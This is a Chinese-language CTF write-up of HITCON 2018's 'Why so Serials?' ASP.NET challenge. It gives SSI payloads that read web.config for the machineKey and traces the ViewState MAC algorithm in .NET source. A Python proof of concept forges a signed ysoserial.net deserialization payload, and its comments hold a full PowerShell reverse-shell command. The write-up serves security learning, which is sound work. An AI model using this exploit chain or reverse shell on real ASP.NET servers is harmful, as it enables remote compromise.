[CTF] HITCON 2018: Why so Serials? Write-up

Why so Serials? 是由 Orange 在前陣子剛結束的 HITCON CTF 2018 出的一道 Web 題目,題目架設在 Windows/IIS,其功能只有一個頁面 Default.aspx,題目有提供原始碼,現在可以在 Orange 的 GitHub 上找到。

該頁面有提供一個上傳功能,但幾乎阻擋了所有可能直接 RCE 的副檔名。

String[] blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"};
if (blacklists.Any(extension.Contains)) {
    Label1.Text = "What do you do?";
}

首先來觀察一下上傳檔案發出的 Request,可以發現有啟用 __VIEWSTATE 並且沒有加密。當 Request/Response 中的 __VIEWSTATE 是未加密時,Burp Suite 會嘗試 parse 它並把資訊顯示在一個標籤頁之中。
hitcon_ctf_2018_why_so_serials_01

若有不知道 View State 的朋友可以參考微軟官網的介紹:Understanding ASP.NET View State

一件有趣的事實是 __VIEWSTATE 所儲存的是 Serialized Data,再加上題目有 Serials 關鍵字,大致可以確定是打 __VIEWSTATE 的 Deserialization。針對 ASP.NET 的 Deserialization,國外大神 pwntester 開發了一個很棒的開源專案 ysoserial.net,可以自動產出很多漂亮的 Gadget,目標當然就是 RCE。

先嘗試修改 __VIEWSTAET 的值確認是否能任意竄改,我嘗試一個簡單的文字 Payload
hitcon_ctf_2018_why_so_serials_02

理所當然是失敗了,畢竟是 Orange 所出的題目,不可能如此單純。但讓我們仔細看一下錯誤訊息:

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

會出現這段錯誤訊息的原因是 ASP.NET 在 __VIEWSTATE 有作 MAC (Message Authentication Code) 的檢查,合法才會進行 Deserialize,我們都知道 MAC 的檢查一定是和某個藏在伺服器端的 Key 有所關連。在 ASP.NET 的環境下,儲存這把 Key 的項目稱為 Machine Key

至於這 Machine Key 該如何獲得呢?題目設計了一個關鍵,前面上傳檔案時檢查的副檔名列表遺漏了一個格式是 .shtml,這個格式支援了一個稱作 Server Side Include 的 feature,透過這個 feature 讓我們可以進行任意讀檔甚至有直接 RCE 的可能,這也是題目預期的解法。

保險起見,讓我們先嘗試直接 RCE 的 Payload,果不其然失敗,exec 沒有啟用。

payload.shtml
<!--#exec cmd="whoami" -->

hitcon_ctf_2018_why_so_serials_03

接著嘗試讀取 web.config。

payload.shtml:
<!--#include file="..\..\web.config" -->

真棒!是我們朝思暮想的 Machine Key。
hitcon_ctf_2018_why_so_serials_04

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
    <machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
</system.web>
</configuration>

現在有了 Machine Key 和 RCE Deserialization Gadget,還差最後一個問題,究竟 MAC 是如何產生以及驗證的呢?我上網翻閱了一些公開資料,但沒有找到相關的文章。值得慶幸的是,在很早之前微軟有將 .NET Framework 開源,所以我們可以很容易去追出實作這塊的程式邏輯。這邊我參考的程式碼是 .NET 4.7.2 的版本。

讓我們先從進入點開始,ASP.NET 要將物件進行 Serialize 儲存到 __VIEWSTATE 之中是依靠函式 ObjectStateFormatter.Serialize(object stateGraph)。我們可以很明顯看見第 798 行的註解有 EnableViewStateMac 關鍵字,並且註解下方呼叫的函式會傳入 Serialized Data 的 Binary Buffer 並取得新的 Buffer,所以可以推測實作邏輯應該是在 MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length) 裡面。

File: ndp\fx\src\xsp\system\Web\UI\ObjectStateFormatter.cs
756: /// <devdoc>
757: /// Serializes an object graph into a textual serialized form.
758: /// </devdoc>
759: public string Serialize(object stateGraph) {
760:     // If the developer called Serialize() manually on an ObjectStateFormatter object that was configured
761:     // for cryptographic operations, he wouldn't have been able to specify a Purpose. We'll just provide
762:     // a default value for him.
763:     return Serialize(stateGraph, Purpose.User_ObjectStateFormatter_Serialize);
764: }
765: 
766: private string Serialize(object stateGraph, Purpose purpose) {
767:     string result = null;
768: 
769:     MemoryStream ms = GetMemoryStream();
770:     try {
771:         Serialize(ms, stateGraph);
772:         ms.SetLength(ms.Position);
773: 
774:         byte[] buffer = ms.GetBuffer();
775:         int length = (int)ms.Length;
776: 
777: #if !FEATURE_PAL // FEATURE_PAL does not enable cryptography
778:         // We only support serialization of encrypted or encoded data through our internal Page constructors
779: 
780:         if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {
781:             // If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested.
782: 
783:             if (_page != null && (_page.RequiresViewStateEncryptionInternal || _page.EnableViewStateMac)) {
784:                 Purpose derivedPurpose = purpose.AppendSpecificPurposes(GetSpecificPurposes());
785:                 ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(derivedPurpose);
786:                 byte[] protectedData = cryptoService.Protect(ms.ToArray());
787:                 buffer = protectedData;
788:                 length = protectedData.Length;
789:             }
790:         }
791:         else {
792:             // Otherwise go through legacy crypto mechanisms
793: #pragma warning disable 618 // calling obsolete methods
794:             if (_page != null && _page.RequiresViewStateEncryptionInternal) {
795:                 buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);
796:                 length = buffer.Length;
797:             }
798:             // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string
799:             else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
800:                 buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
801:             }
802: #pragma warning restore 618 // calling obsolete methods
803:         }
804: 
805: #endif // !FEATURE_PAL
806:         result = Convert.ToBase64String(buffer, 0, length);
807:     }
808:     finally {
809:         ReleaseMemoryStream(ms);
810:     }
811:     return result;
812: }

繼續跟進 MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)。第 800 行透過 HashData 函式取得一個 Hash 值,第 803 ~ 815 行則會將這個 Hash 值附加到原本 Buffer 的尾部。但是這邊的 HashData 需要的參數除了原 buf 以外還多一個 modifier,不過先不用急著找 modifier 定義的位置,讓我們先跟進 MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)

File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
791: // NOTE: When encoding the data, this method *may* return the same reference to the input "buf" parameter
792: // with the hash appended in the end if there's enough space.  The "length" parameter would also be
793: // appropriately adjusted in those cases.  This is an optimization to prevent unnecessary copying of
794: // buffers.
795: [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
796: internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
797: {
798:     EnsureConfig();
799: 
800:     byte[] bHash = HashData(buf, modifier, start, length);
801:     byte[] returnBuffer;
802: 
803:     if (buf.Length - start - length >= bHash.Length)
804:     {
805:         // Append hash to end of buffer if there's space
806:         Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
807:         returnBuffer = buf;
808:     }
809:     else
810:     {
811:         returnBuffer = new byte[length + bHash.Length];
812:         Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
813:         Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
814:         start = 0;
815:     }
816:     length += bHash.Length;
817: 
818:     if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
819:         returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
820:         length = returnBuffer.Length;
821:     }
822:     return returnBuffer;
823: }

第 857 行判斷如果 config 裡的 Machine Key 設定 Validation 是 MD5,則呼叫 HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey),根據先前 SSI 所得到的 web.config,程式應該會進入這一段流程中,繼續跟進 MachineKeySection.HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)

File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
852: [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
853: internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
854: {
855:     EnsureConfig();
856: 
857:     if (s_config.Validation == MachineKeyValidation.MD5)
858:         return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
859:     if (_UseHMACSHA) {
860:         byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
861:         if (hash != null)
862:             return hash;
863:     }
864:     if (_CustomValidationTypeIsKeyed) {
865:         return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
866:                                             buf, modifier, start, length, s_validationKey);
867:     } else {
868:         return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
869:                                                 buf, modifier, start, length, s_validationKey);
870:     }
871: }

第 1219 行依據原 buf 長度加上 validationKey 長度和 modifier 長度得到 totalLength,並分配一個長度為 totalLength 的 byte[] 陣列 bAll,第 1222 行先將原 Buffer 複製到 bAll 從位置 0 開始放置,第 1224 行會將 modifier 複製到 bAll 從位置 length 開始放置,這邊神奇的事情就發生了,第 1226 行將 validationKey 複製到 bAll 時居然又是從位置 length 開始放置,換句話說,如果 validationKey 長度大於等於 modifier 長度的話,validationKey 將會完整把 modifier 覆蓋過去。而 modifier 取得的地方是在最初 ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose) 的第 800 行呼叫的 GetMacKeyModifier() 函式,長度固定會回傳 4 bytes,顯然這道題目的 validationKey 是足夠長到能覆蓋它。繼續往下看到第 1231 行,呼叫 UnsafeNativeMethods.GetSHA1Hash 傳入 bAll 獲得最終的 MAC Hash 值,但可惜這個函式是 Native,所以沒有乾淨的 Source Code,經過幾次簡單黑箱嘗試會發現,這個函式雖然名為 GetSHA1Hash,但其實是障眼法,它並不只會回傳 SHA1 Hash,在此處它還會回傳 MD5 的 Hash 值。

File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
1216: private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
1217:                                                         int start, int length, byte[] validationKey)
1218: {
1219:     int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
1220:     byte [] bAll        = new byte[totalLength];
1221: 
1222:     Buffer.BlockCopy(buf, start, bAll, 0, length);
1223:     if (modifier != null) {
1224:         Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
1225:     }
1226:     Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
1227:     if (hashAlgo != null) {
1228:         return hashAlgo.ComputeHash(bAll);
1229:     } else {
1230:         byte[] newHash = new byte[MD5_HASH_SIZE];
1231:         int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
1232:         Marshal.ThrowExceptionForHR(hr);
1233:         return newHash;
1234:     }
1235: }

總結一下 __VIEWSTATE 的流程,先將物件 Serialize 成一串 Binary 資料,將這串 Serialized Binary Data 尾巴附加上 Validation Key 和 modifier 的 Binary 資料,但因為 modifier 會被 Validation Key 覆蓋,所以實際上是 Serialized Binary Data 加 Validation Key Binary 加 0x00000000 (modifier 被覆蓋但 4 bytes 空間還在,預設都是 0)。最後依據這串 Binary 作 MD5 拿到 MAC Hash,把 MAC Hash 添加到最初的 Serialized Binary Data 作 Base64 Encode,就可以得到簽章過合法的 __VIEWSTATE

簡單表示算法如下:

MAC_HASH = MD5(serialized_data_binary + validation_key + 0x00000000 )
VIEWSATE = Base64_Encode(serialized_data_binary + MAC_HASH)

最後得出的 PoC:

#!/usr/bin/env python3
import hashlib
import base64


'''
Generate PowerShell reverse shell command
> powershell "[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient(''127.0.0.1'',6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))"

Generate deserialization gadget by ysoserial.net
https://github.com/pwntester/ysoserial.net
> ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell -nop -enc {reverse shell command}"
'''
serialized_data = '{base64 encoded serialized data from ysoserial}'
payload = base64.b64decode(serialized_data)

# Get machine key by uploading .shtml file (Server Side Include)
validation_key = bytes.fromhex('b07b0f97365416288cf0247cffdf135d25f6be87')

'''
MAC_Hash = MD5(serialized_data_binary + validation_key + 0x00000000 )

Simple stack trace to get MAC Hash:
System.Web.UI.ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose)
    MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
        MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)
            HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)
                UnsafeNativeMethods.GetSHA1Hash(byte[] data, int dataSize, byte[] hash, int hashSize);
'''
mac = hashlib.md5(payload + validation_key + b'\x00\x00\x00\x00').digest()
payload = base64.b64encode(payload + mac).decode()
print(payload)

讓我們立刻送送看 Payload,發現跳出不一樣的錯誤訊息!
hitcon_ctf_2018_why_so_serials_05

成功收到 Reverse Shell 的連線,並在 C:\this_1s_the_FL@g.txt 找到 FLAG 是 hitcon{c0ngratulati0ns! you are .net king!}
hitcon_ctf_2018_why_so_serials_06

References:

Cyku

A.k.a. cy. A web dog. Interested in web security. cyku@cyku.tw

Taiwan